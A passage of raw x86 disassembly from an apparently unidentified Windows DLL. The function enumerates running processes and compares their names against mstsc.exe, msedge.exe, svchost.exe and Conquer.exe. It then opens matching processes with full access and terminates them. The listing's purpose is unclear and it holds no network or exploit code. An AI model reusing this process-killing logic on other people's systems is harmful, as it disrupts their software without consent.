je 0x1000a98d
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a986
cmp esi, 0xfffffffe
je 0x1000a98d
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a986
cmp esi, 0xffffffff
je 0x1000a98d
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000a98d
sbb eax, eax
or eax, 1
jmp 0x1000a98f
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 9
jne 0x1000aa10
mov esi, edi
mov edx, str.mstsc.exe
sub esi, 4
jb 0x1000a9c7
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000a9cc
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000a9b6
cmp esi, 0xfffffffc
je 0x1000aa00
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000a9f9
cmp esi, 0xfffffffd
je 0x1000aa00
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000a9f9
cmp esi, 0xfffffffe
je 0x1000aa00
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000a9f9
cmp esi, 0xffffffff
je 0x1000aa00
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000aa00
sbb eax, eax
or eax, 1
jmp 0x1000aa02
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xa
jne 0x1000aa8a
mov esi, edi
mov edx, str.msedge.exe
sub esi, 4
jb 0x1000aa41
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000aa46
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000aa30
cmp esi, 0xfffffffc
je 0x1000aa7a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000aa73
cmp esi, 0xfffffffd
je 0x1000aa7a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000aa73
cmp esi, 0xfffffffe
je 0x1000aa7a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000aa73
cmp esi, 0xffffffff
je 0x1000aa7a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000aa7a
sbb eax, eax
or eax, 1
jmp 0x1000aa7c
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xb
jne 0x1000aafd
mov esi, edi
mov edx, str.svchost.exe
sub esi, 4
jb 0x1000aab4
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000aab9
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000aaa3
cmp esi, 0xfffffffc
je 0x1000aaed
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000aae6
cmp esi, 0xfffffffd
je 0x1000aaed
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000aae6
cmp esi, 0xfffffffe
je 0x1000aaed
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000aae6
cmp esi, 0xffffffff
je 0x1000aaed
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000aaed
sbb eax, eax
or eax, 1
jmp 0x1000aaef
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
mov edx, dword [ebp - 0x14]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, edx
cmp edi, 0xb
jne 0x1000ab69
mov esi, edi
mov edx, str.Conquer.exe
sub esi, 4
jb 0x1000ab27
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000ab2c
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000ab16
cmp esi, 0xfffffffc
je 0x1000ab60
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000ab59
cmp esi, 0xfffffffd
je 0x1000ab60
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000ab59
cmp esi, 0xfffffffe
je 0x1000ab60
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000ab59
cmp esi, 0xffffffff
je 0x1000ab60
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000ab60
sbb eax, eax
or eax, 1
jmp 0x1000ab62
xor eax, eax
test eax, eax
je 0x1000abd6
mov al, byte [ebp - 0xd]
test al, al
lea ecx, [ebp - 0x2c]
cmovne ecx, dword [ebp - 0x14]
test edi, edi
jne 0x1000ac19
mov esi, edi
mov edx, 0x100147a4
sub esi, 4
jb 0x1000ab97
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000ab9c
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000ab86
cmp esi, 0xfffffffc
je 0x1000abd0
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000abc9
cmp esi, 0xfffffffd
je 0x1000abd0
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000abc9
cmp esi, 0xfffffffe
je 0x1000abd0
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000abc9
cmp esi, 0xffffffff
je 0x1000abd0
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000abd0
sbb eax, eax
or eax, 1
jmp 0x1000abd2
xor eax, eax
test eax, eax
jne 0x1000ac19
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x18]
cmp eax, 0xf
jbe 0x1000b09d
mov edx, dword [ebp - 0x14]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000ac0a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b10a
push ecx
push edx
call fcn.1000ef69
add esp, 8
jmp 0x1000b09d
push 0x10018c60
lea ecx, [ebp - 0x94]
call fcn.100033b0
cmp byte [ebp - 0xd], 0
lea eax, [ebp - 0x2c]
xorps xmm0, xmm0
mov byte [ebp - 4], 2
cmovne eax, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
movups xmmword [ebp - 0x50], xmm0
cmp edi, 0x7fffffff
ja 0x1000b110
cmp edi, 0xf
ja 0x1000ac6d
movups xmm0, xmmword [eax]
mov esi, 0xf
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], esi
movups xmmword [ebp - 0x50], xmm0
mov edi, dword [ebp - 0x50]
jmp 0x1000acf2
mov esi, edi
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x1000ac89
mov ecx, 0x80000000
mov esi, 0x7fffffff
add ecx, 0x23
jmp 0x1000aca9
cmp esi, 0x16
mov eax, 0x16
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x1000
jb 0x1000acc5
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x1000b115
push ecx
call fcn.1000ec1f
add esp, 4
test eax, eax
je 0x1000b10a
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x1000acd8
test eax, eax
je 0x1000acd6
push eax
call fcn.1000ec1f
add esp, 4
mov edi, eax
jmp 0x1000acd8
xor edi, edi
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
inc eax
push eax
push dword [ebp - 0x30]
mov dword [ebp - 0x50], edi
push edi
mov dword [ebp - 0x3c], esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
xor edx, edx
mov byte [ebp - 4], 1
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x1c], edx
jbe 0x1000ad37
cmp esi, 0xf
lea eax, [ebp - 0x50]
lea esi, [ebp - 0x50]
cmova eax, edi
seta cl
test cl, cl
cmovne esi, edi
movsx eax, byte [eax + edx]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov edx, dword [ebp - 0x30]
add esp, 4
mov byte [esi + edx], al
inc edx
mov esi, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x50]
mov dword [ebp - 0x30], edx
cmp edx, dword [ebp - 0x40]
jb 0x1000ad00
push ecx
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x94]
call fcn.10003290
cmp eax, 0xffffffff
je 0x1000b022
cmp esi, 0xf
jbe 0x1000ad7e
inc esi
mov eax, edi
cmp esi, 0x1000
jb 0x1000ad74
mov edi, dword [eax - 4]
add esi, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b10a
push esi
push edi
call fcn.1000ef69
add esp, 8
mov ecx, dword [ebp - 0x80]
cmp ecx, 0xf
jbe 0x1000adb5
mov edx, dword [ebp - 0x94]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000adab
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b10a
push ecx
push edx
call fcn.1000ef69
add esp, 8
push dword [ebp - 0x2b8]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1000add7
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 0xd], 0
lea ecx, [ebp - 0x2c]
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 0x1c]
cmovne ecx, edi
test esi, esi
jne 0x1000ae57
mov edx, 0x100147a4
sub esi, 4
jb 0x1000ae11
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000ae16
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000ae00
cmp esi, 0xfffffffc
je 0x1000ae4a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000ae43
cmp esi, 0xfffffffd
je 0x1000ae4a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000ae43
cmp esi, 0xfffffffe
je 0x1000ae4a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000ae43
cmp esi, 0xffffffff
je 0x1000ae4a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000ae4a
sbb eax, eax
or eax, 1
jmp 0x1000ae4c
xor eax, eax
test eax, eax
je 0x1000b08a
mov esi, dword [ebp - 0x1c]
mov edi, dword [0x10019680]
mov eax, dword [0x10019684]
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x38], eax
cmp edi, eax
je 0x1000b087
mov dword [ebp - 0x7c], 0x32
mov dword [ebp - 0x78], 0
nop
lea ecx, [ebp - 0x7c]
call fcn.100017f0
cmp byte [0x10019496], 0
je 0x1000aec1
sub esp, 0x18
xorps xmm0, xmm0
mov eax, esp
mov ecx, 1
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100088a0
add esp, 0x18
mov byte [0x10019496], 0
mov eax, dword [edi + 0x10]
mov ecx, dword [edi + 0x14]
test eax, eax
je 0x1000b00e
mov edx, edi
cmp ecx, 0xf
jbe 0x1000aed8
mov edx, dword [edi]
cmp dword [ebp - 0x18], 0xf
lea ecx, [ebp - 0x2c]
cmova ecx, dword [ebp - 0x14]
cmp esi, eax
jne 0x1000b00e
sub esi, 4
jb 0x1000af01
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x1000af06
add ecx, 4
add edx, 4
sub esi, 4
jae 0x1000aef0
cmp esi, 0xfffffffc
je 0x1000af3a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000af33
cmp esi, 0xfffffffd
je 0x1000af3a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000af33
cmp esi, 0xfffffffe
je 0x1000af3a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x1000af33
cmp esi, 0xffffffff
je 0x1000af3a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000af3a
sbb eax, eax
or eax, 1
jmp 0x1000af3c
xor eax, eax
test eax, eax
jne 0x1000b00e
sub esp, 0x18
lea ecx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0xf
mov edi, esp
xorps xmm0, xmm0
cmova ecx, dword [ebp - 0x14]
mov dword [ebp - 0x34], ecx
movups xmmword [edi], xmm0
mov dword [edi + 0x10], eax
mov eax, dword [ebp - 0x1c]
mov dword [edi + 0x14], 0xf
cmp eax, 0xf
ja 0x1000af7d
mov dword [edi + 0x10], eax
movups xmm0, xmmword [ecx]
movups xmmword [edi], xmm0
jmp 0x1000b001
mov esi, eax
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x1000af99
mov ecx, 0x80000000
mov esi, 0x7fffffff
add ecx, 0x23
jmp 0x1000afb9
cmp esi, 0x16
mov eax, 0x16
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x1000
jb 0x1000afd5
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x1000b115
push ecx
call fcn.1000ec1f
add esp, 4
test eax, eax
je 0x1000b10a
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
jmp 0x1000afe8
test eax, eax
je 0x1000afe6
push eax
call fcn.1000ec1f
add esp, 4
mov ecx, eax
jmp 0x1000afe8
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov dword [edi + 0x10], eax
inc eax
push eax
push dword [ebp - 0x34]
mov dword [edi], ecx
push ecx
mov dword [edi + 0x14], esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
xor ecx, ecx
call fcn.100088a0
mov edi, dword [ebp - 0x30]
add esp, 0x18
mov esi, dword [ebp - 0x1c]
add edi, 0x18
mov dword [ebp - 0x30], edi
cmp edi, dword [ebp - 0x38]
jne 0x1000ae80
jmp 0x1000b087
cmp esi, 0xf
jbe 0x1000b050
inc esi
mov eax, edi
cmp esi, 0x1000
jb 0x1000b046
mov edi, dword [eax - 4]
add esi, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b10a
push esi
push edi
call fcn.1000ef69
add esp, 8
mov ecx, dword [ebp - 0x80]
cmp ecx, 0xf
jbe 0x1000b087
mov edx, dword [ebp - 0x94]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000b07d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b10a
push ecx
push edx
call fcn.1000ef69
add esp, 8
mov edi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
cmp eax, 0xf
jbe 0x1000b09d
push eax
mov edx, edi
call fcn.100017b0
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x58]
cmp ecx, 7
jbe 0x1000b0da
mov edx, dword [ebp - 0x6c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000b0d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000b10a
push ecx
push edx
call fcn.1000ef69
add esp, 8
mov esi, dword [ebp - 0x54]
lea eax, [ebp - 0x2c0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x10009c35
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
call fcn.10001520
call fcn.10001480
int3